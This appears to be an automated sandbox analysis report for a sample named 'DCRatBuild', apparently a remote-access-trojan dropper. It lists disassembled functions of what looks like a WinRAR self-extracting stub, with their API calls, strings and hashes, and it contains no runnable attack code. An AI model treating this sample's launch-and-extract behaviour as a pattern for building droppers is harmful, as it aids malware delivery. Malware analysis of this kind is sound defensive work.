Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 49bef1f45535c8711bf18bbfd4d8705a78b5ef027d38bd336f260dbeb3c0f1f1
Instruction ID: fd247f7b54c16e5ddfd92b881f0001301a69e172c6fd42fd5437068c63f13751
Opcode Fuzzy Hash: 49bef1f45535c8711bf18bbfd4d8705a78b5ef027d38bd336f260dbeb3c0f1f1
Instruction Fuzzy Hash: C5E04F31000144AFCF417F12CD09D8A3F69EF50386B008465F8058A232CB39DE51CBA8

Function 0049848E Relevance: 2.5, APIs: 1, Instructions: 960COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00498493

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 732d9bfe0a19b3c125e9109ffb77b61b605d899a1e8e1fe5d83853cff23454dd
Instruction ID: 237a413ba954985918b764fd2bfe778fcd487b7c760648e7d913bce577fa31c4
Opcode Fuzzy Hash: 732d9bfe0a19b3c125e9109ffb77b61b605d899a1e8e1fe5d83853cff23454dd
Instruction Fuzzy Hash: 9E820A70904145AEDF15DF68C891BFBBF79AF06304F0841BFE8499B242DB395A88C769

Function 004AB7E0 Relevance: 109.2, APIs: 48, Strings: 14, Instructions: 731windowfilesleepCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004AB7E5

Part of subcall function 00491316: GetDlgItem.USER32(00000000,00003021), ref: 0049135A
Part of subcall function 00491316: SetWindowTextW.USER32(00000000,004C35F4), ref: 00491370

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 004AB8D1
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 004AB8EF
IsDialogMessageW.USER32(?,?), ref: 004AB902
TranslateMessage.USER32(?), ref: 004AB910
DispatchMessageW.USER32(?), ref: 004AB91A
GetDlgItemTextW.USER32(?,00000066,?,00000800), ref: 004AB93D
KiUserCallbackDispatcher.NTDLL(?,00000001), ref: 004AB960
GetDlgItem.USER32(?,00000068), ref: 004AB983
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 004AB99E
SendMessageW.USER32(00000000,000000C2,00000000,004C35F4), ref: 004AB9B1

Part of subcall function 004AD453: _wcschr.LIBVCRUNTIME ref: 004AD45C
Part of subcall function 004AD453: _wcslen.LIBCMT ref: 004AD47D

SetFocus.USER32(00000000), ref: 004AB9B8
_swprintf.LIBCMT ref: 004ABA24

Part of subcall function 00494092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 004940A5

Part of subcall function 004AD4D4: GetDlgItem.USER32(00000068,004EFCB8), ref: 004AD4E8
Part of subcall function 004AD4D4: ShowWindow.USER32(00000000,00000005,?,?,?,004AAF07,00000001,?,?,004AB7B9,004C506C,004EFCB8,004EFCB8,00001000,00000000,00000000), ref: 004AD510
Part of subcall function 004AD4D4: SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 004AD51B
Part of subcall function 004AD4D4: SendMessageW.USER32(00000000,000000C2,00000000,004C35F4), ref: 004AD529
Part of subcall function 004AD4D4: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 004AD53F
Part of subcall function 004AD4D4: SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 004AD559
Part of subcall function 004AD4D4: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 004AD59D
Part of subcall function 004AD4D4: SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 004AD5AB
Part of subcall function 004AD4D4: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 004AD5BA
Part of subcall function 004AD4D4: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 004AD5E1
Part of subcall function 004AD4D4: SendMessageW.USER32(00000000,000000C2,00000000,004C43F4), ref: 004AD5F0

GetLastError.KERNEL32(?,00000000,00000000,00000000,?), ref: 004ABA68
GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?), ref: 004ABA90
GetTickCount.KERNEL32 ref: 004ABAAE
_swprintf.LIBCMT ref: 004ABAC2
GetLastError.KERNEL32(?,00000011), ref: 004ABAF4
GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,?,00000000,00000000,00000000,?), ref: 004ABB43
_swprintf.LIBCMT ref: 004ABB7C
CreateFileMappingW.KERNEL32(000000FF,00000000,08000004,00000000,00007104,winrarsfxmappingfile.tmp), ref: 004ABBD0
GetCommandLineW.KERNEL32 ref: 004ABBEA
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000,?), ref: 004ABC47
ShellExecuteExW.SHELL32(0000003C), ref: 004ABC6F
Sleep.KERNEL32(00000064), ref: 004ABCB9
UnmapViewOfFile.KERNEL32(?,?,0000430C,?,00000080), ref: 004ABCE2
CloseHandle.KERNEL32(00000000), ref: 004ABCEB
_swprintf.LIBCMT ref: 004ABD1E
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 004ABD7D
SetDlgItemTextW.USER32(?,00000065,004C35F4), ref: 004ABD94
GetDlgItem.USER32(?,00000065), ref: 004ABD9D
GetWindowLongW.USER32(00000000,000000F0), ref: 004ABDAC
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 004ABDBB
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 004ABE68
_wcslen.LIBCMT ref: 004ABEBE
_swprintf.LIBCMT ref: 004ABEE8
SendMessageW.USER32(?,00000080,00000001,?), ref: 004ABF32
SendDlgItemMessageW.USER32(?,0000006C,00000172,00000000,?), ref: 004ABF4C
GetDlgItem.USER32(?,00000068), ref: 004ABF55
SendMessageW.USER32(00000000,00000435,00000000,00400000), ref: 004ABF6B
GetDlgItem.USER32(?,00000066), ref: 004ABF85
SetWindowTextW.USER32(00000000,004DA472), ref: 004ABFA7
SetDlgItemTextW.USER32(?,0000006B,00000000), ref: 004AC007
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 004AC01A
DialogBoxParamW.USER32(LICENSEDLG,00000000,Function_0001B5C0,00000000,?), ref: 004AC0BD
EnableWindow.USER32(00000000,00000000), ref: 004AC197
SendMessageW.USER32(?,00000111,00000001,00000000), ref: 004AC1D9

Part of subcall function 004AC73F: __EH_prolog.LIBCMT ref: 004AC744

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 004AC1FD

Strings

__tmp_rar_sfx_access_check_%u, xrefs: 004ABAB5
^J, xrefs: 004AC1E1
%s, xrefs: 004ABED8
-el -s2 "-d%s" "-sp%s", xrefs: 004ABB6B
winrarsfxmappingfile.tmp, xrefs: 004ABBA6
LICENSEDLG, xrefs: 004AC0B2
<, xrefs: 004ABB84
PDu<J, xrefs: 004ABC6F
"%s"%s, xrefs: 004ABD0D
@, xrefs: 004ABB91
QL, xrefs: 004ABBBC
STARTDLG, xrefs: 004AB801
hJ, xrefs: 004ABCA5
C:\Users\user\Desktop, xrefs: 004ABBC9

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: Message$ItemSend$Text$Window$_swprintf$File$ErrorLast$DialogH_prologLongView_wcslen$CallbackCloseCommandCountCreateDispatchDispatcherEnableExecuteFocusHandleLineMappingModuleNameParamShellShowSleepTickTranslateUnmapUser__vswprintf_c_l_wcschr
String ID: %s$"%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$C:\Users\user\Desktop$LICENSEDLG$PDu<J$STARTDLG$^J$__tmp_rar_sfx_access_check_%u$hJ$winrarsfxmappingfile.tmp$QL
API String ID: 3829768659-2687651133
Opcode ID: 669df2afd533cf8ff9fb3f9e34a71373b6ae00c1162b62bc13344d082647c0ab
Instruction ID: c469496e93bde728ef1985a306cd70b458849851e4aa5b6abf001e837f0629e2
Opcode Fuzzy Hash: 669df2afd533cf8ff9fb3f9e34a71373b6ae00c1162b62bc13344d082647c0ab
Instruction Fuzzy Hash: CF42F571944244BEEB21AF619C8AFBF3B6CAB22704F14406BF540A61D2CB7D5E44CB6D

Function 004A0863 Relevance: 98.3, APIs: 23, Strings: 33, Instructions: 316
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32), ref: 004A087C
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 004A088E
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 004A08BF
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 004A0B69
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004A0B83
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 004A0B93
ReadFile.KERNEL32(00000000,?,00007FFE,|<L,00000000), ref: 004A0BB1
CloseHandle.KERNEL32(00000000), ref: 004A0C09
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 004A0C1E
CompareStringW.KERNEL32(00000400,00001001,?,?,DXGIDebug.dll,?,|<L,?,00000000,?,00000800), ref: 004A0C72
GetFileAttributesW.KERNELBASE(?,?,|<L,00000800,?,00000000,?,00000800), ref: 004A0C9C
GetFileAttributesW.KERNEL32(?,?,D=L,00000800), ref: 004A0CD8

Part of subcall function 004A081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 004A0836
Part of subcall function 004A081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0049F2D8,Crypt32.dll,00000000,0049F35C,?,?,0049F33E,?,?,?), ref: 004A0858

_swprintf.LIBCMT ref: 004A0D4A
_swprintf.LIBCMT ref: 004A0D96

Part of subcall function 00494092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 004940A5

AllocConsole.KERNEL32 ref: 004A0D9E
GetCurrentProcessId.KERNEL32 ref: 004A0DA8
AttachConsole.KERNEL32(00000000), ref: 004A0DAF
_wcslen.LIBCMT ref: 004A0DC4
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 004A0DD5
WriteConsoleW.KERNEL32(00000000), ref: 004A0DDC
Sleep.KERNEL32(00002710), ref: 004A0DE7
FreeConsole.KERNEL32 ref: 004A0DED
ExitProcess.KERNEL32 ref: 004A0DF5

Strings

,<L, xrefs: 004A08E7
AL, xrefs: 004A0B1C
?L, xrefs: 004A0A35
SetDefaultDllDirectories, xrefs: 004A08B9
H@L, xrefs: 004A0A61
h>L, xrefs: 004A099F
kernel32, xrefs: 004A0873
h=L, xrefs: 004A0947
P>L, xrefs: 004A0997
HAL, xrefs: 004A0ADA
dwmapi.dll, xrefs: 004A0927, 004A0D0D
<L, xrefs: 004A0917
@L, xrefs: 004A0AAE
0AL, xrefs: 004A0ACF
|@L, xrefs: 004A0A77
|?L, xrefs: 004A0A09
uxtheme.dll, xrefs: 004A0D17
0?L, xrefs: 004A09E8
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 004A0D84
4BL, xrefs: 004A0B3D
T=L, xrefs: 004A093F
`@L, xrefs: 004A0A6C
dAL, xrefs: 004A0AE5
>L, xrefs: 004A09C7
H?L, xrefs: 004A09F3
SetDllDirectoryW, xrefs: 004A0888
8>L, xrefs: 004A098F
DXGIDebug.dll, xrefs: 004A08FC, 004A0C5E
,@L, xrefs: 004A0A56
(=L, xrefs: 004A092F
d?L, xrefs: 004A09FE
|<L, xrefs: 004A0B9E, 004A0BA2
D=L, xrefs: 004A0CB9, 004A0CC9

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l_wcslen
String ID: (=L$,<L$,@L$0?L$0AL$4BL$8>L$D=L$DXGIDebug.dll$H?L$H@L$HAL$P>L$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$T=L$`@L$d?L$dAL$dwmapi.dll$h=L$h>L$kernel32$uxtheme.dll$|<L$|?L$|@L$<L$>L$?L$@L$AL
API String ID: 1207345701-3345128522
Opcode ID: 7278e89132d0fe35c80dc9fa115fa70691f2838945cc1edb93751fca4b31dccb
Instruction ID: b4deb22b057566e1f9b3518e4adcd1cffcb7f9659c1c319daf7828fbfb34edda
Opcode Fuzzy Hash: 7278e89132d0fe35c80dc9fa115fa70691f2838945cc1edb93751fca4b31dccb
Instruction Fuzzy Hash: E5D174B5008344ABD7B09F51C949FDFBAE8BB95709F50C91FF18596240CB788648CB6E

Function 004AC73F Relevance: 51.2, APIs: 23, Strings: 6, Instructions: 428
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 004AC744

Part of subcall function 004AB314: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 004AB3FB

Part of subcall function 004AAF98: _wcschr.LIBVCRUNTIME ref: 004AB033

_wcslen.LIBCMT ref: 004ACA0A
_wcslen.LIBCMT ref: 004ACA13
SetWindowTextW.USER32(?,?), ref: 004ACA71
_wcslen.LIBCMT ref: 004ACAB3
_wcsrchr.LIBVCRUNTIME ref: 004ACBFB
GetDlgItem.USER32(?,00000066), ref: 004ACC36
SetWindowTextW.USER32(00000000,?), ref: 004ACC46
SendMessageW.USER32(00000000,00000143,00000000,004DA472), ref: 004ACC54
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 004ACC7F

Strings

ProgramFilesDir, xrefs: 004ACB45
%s.%d.tmp, xrefs: 004AC940
Software\Microsoft\Windows\CurrentVersion, xrefs: 004ACB1A
<br>, xrefs: 004AC9D4
<J, xrefs: 004AC909
J, xrefs: 004ACB24

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: _wcslen$MessageSendTextWindow$EnvironmentExpandH_prologItemStrings_wcschr_wcsrchr
String ID: %s.%d.tmp$<br>$<J$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion$J
API String ID: 986293930-1283477974
Opcode ID: 65238eedfd0192561582b5374b298c59588fc2d33f02b562922f3887847ba03f
Instruction ID: 9a89d4cca27bea56c37f4ee61a2779d48046e7957f1886f3242f345778553a2d
Opcode Fuzzy Hash: 65238eedfd0192561582b5374b298c59588fc2d33f02b562922f3887847ba03f
Instruction Fuzzy Hash: B5E185B2900118AADF24DBA1DD85EEF73BCAB15314F1044ABF946E7140EF789E448F68

Function 0049DA67 Relevance: 26.9, APIs: 5, Strings: 10, Instructions: 663COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0049DA70
_wcschr.LIBVCRUNTIME ref: 0049DA91
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 0049DAAC

Part of subcall function 0049C29A: _wcslen.LIBCMT ref: 0049C2A2

Part of subcall function 004A05DA: _wcslen.LIBCMT ref: 004A05E0

Part of subcall function 004A1B84: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,0049BAE9,00000000,?,?,?,00010422), ref: 004A1BA0

_wcslen.LIBCMT ref: 0049DDE9
__fprintf_l.LIBCMT ref: 0049DF1C

Strings

a, xrefs: 0049DC16
@%s:, xrefs: 0049DF06, 0049DF12
, xrefs: 0049DD6C
R, xrefs: 0049DC0C
,, xrefs: 0049DF57
*messages***, xrefs: 0049DBFA
RTL, xrefs: 0049DEDE
$%s:, xrefs: 0049DEFF
9L, xrefs: 0049DDD0
*messages***, xrefs: 0049DBC1

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: _wcslen$ByteCharFileH_prologModuleMultiNameWide__fprintf_l_wcschr
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$R$RTL$a$9L
API String ID: 557298264-3287507373
Opcode ID: 215c38bf6120503d02b4312ae0064db21e199d0f6ee20312ec43b36232bab29e
Instruction ID: 923b9fdff022c1f214716a8cdb09f01a5fd498bc4523b6b7516ab14212876df5
Opcode Fuzzy Hash: 215c38bf6120503d02b4312ae0064db21e199d0f6ee20312ec43b36232bab29e
Instruction Fuzzy Hash: A332D071900218EACF24EF69C842BEA7BA4FF15304F40416FF90597291EBB99D85CB58

Function 004AD4D4 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004AB568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 004AB579
Part of subcall function 004AB568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 004AB58A
Part of subcall function 004AB568: IsDialogMessageW.USER32(00010422,?), ref: 004AB59E
Part of subcall function 004AB568: TranslateMessage.USER32(?), ref: 004AB5AC
Part of subcall function 004AB568: DispatchMessageW.USER32(?), ref: 004AB5B6

GetDlgItem.USER32(00000068,004EFCB8), ref: 004AD4E8
ShowWindow.USER32(00000000,00000005,?,?,?,004AAF07,00000001,?,?,004AB7B9,004C506C,004EFCB8,004EFCB8,00001000,00000000,00000000), ref: 004AD510
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 004AD51B
SendMessageW.USER32(00000000,000000C2,00000000,004C35F4), ref: 004AD529
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 004AD53F
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 004AD559
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 004AD59D
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 004AD5AB
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 004AD5BA
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 004AD5E1
SendMessageW.USER32(00000000,000000C2,00000000,004C43F4), ref: 004AD5F0

Strings

\, xrefs: 004AD549

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID: \
API String ID: 3569833718-2967466578
Opcode ID: 2d4a7bf816796d574cfa028ca8fe40a52ff267dbec46f1795c47c09f855acb11
Instruction ID: 202af352d673b31e2b61aa3e25ac58232c110c4c5475732d78d103c5b6b74fdb
Opcode Fuzzy Hash: 2d4a7bf816796d574cfa028ca8fe40a52ff267dbec46f1795c47c09f855acb11
Instruction Fuzzy Hash: 2031B071545342BFE301DF20AC4AFBB7FACEB96709F00452AF55196190EB648A14CB7E

Function 004AD78F Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 004AD7AE
ShellExecuteExW.SHELL32(?), ref: 004AD8DE
ShowWindow.USER32(?,00000000), ref: 004AD91D
GetExitCodeProcess.KERNEL32(?,?), ref: 004AD959
CloseHandle.KERNEL32(?), ref: 004AD97F
ShowWindow.USER32(?,00000001), ref: 004AD9E1

Strings

rJ, xrefs: 004AD911
.inf, xrefs: 004AD89A
PDu<J, xrefs: 004AD8DE
.exe, xrefs: 004AD989
hJ, xrefs: 004AD92E

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: ShowWindow$CloseCodeExecuteExitHandleProcessShell_wcslen
String ID: .exe$.inf$PDu<J$hJ$rJ
API String ID: 36480843-3000700308
Opcode ID: 5f155dc98f3b5b54339d69a04cb956f4174203261f74a405299f60af2fd74b61
Instruction ID: f378ea13d929cb979896cfec66f2dc8b08c8fbc831d31dce26bcfba07dcdbf4e
Opcode Fuzzy Hash: 5f155dc98f3b5b54339d69a04cb956f4174203261f74a405299f60af2fd74b61
Instruction Fuzzy Hash: 6D51B3B08043809EEB20AF259844BAB7BE8AF67744F04042FF5D2976A1D77CD944C75E

Function 004BA95B Relevance: 9.2, APIs: 6, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,004B5695,004B5695,?,?,?,004BABAC,00000001,00000001,2DE85006), ref: 004BA9B5
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,004BABAC,00000001,00000001,2DE85006,?,?,?), ref: 004BAA3B
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,2DE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 004BAB35
__freea.LIBCMT ref: 004BAB42

Part of subcall function 004B8E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,004BCA2C,00000000,?,004B6CBE,?,00000008,?,004B91E0,?,?,?), ref: 004B8E38

__freea.LIBCMT ref: 004BAB4B
__freea.LIBCMT ref: 004BAB70

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 969bfbf2e7e80111229cf051f5627ddefdf1e9fdb1281f91482036dd89f88895
Instruction ID: 00ea9fc6dca56e9202f63a35fa4d993d4716ff2ee0f2fd2f9c323221fa5b3edc
Opcode Fuzzy Hash: 969bfbf2e7e80111229cf051f5627ddefdf1e9fdb1281f91482036dd89f88895
Instruction Fuzzy Hash: C5510872600206AFDB258F65CC41EFBB7AADB44714F15462EFE14D6240DB38EC60C67A

Function 004B3B72 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 63
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,004B3C35,?,?,004F2088,00000000,?,004B3D60,00000004,InitializeCriticalSectionEx,004C6394,InitializeCriticalSectionEx,00000000), ref: 004B3C03

Strings

api-ms-, xrefs: 004B3BC3

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: 099a00acc9449620f6b566cc2645047b56438d5276786857926691cd9c4704be
Instruction ID: 9f950c8c8e527d2314eb7b9b3d71c8a88bf21eece3bf379bfa0abd1038168d57
Opcode Fuzzy Hash: 099a00acc9449620f6b566cc2645047b56438d5276786857926691cd9c4704be
Instruction Fuzzy Hash: 1611E732A08220ABCB218F6A9C41BDA37649F01772F210562F915EB295D778FF0086ED

Function 004AAC16 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004A081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 004A0836
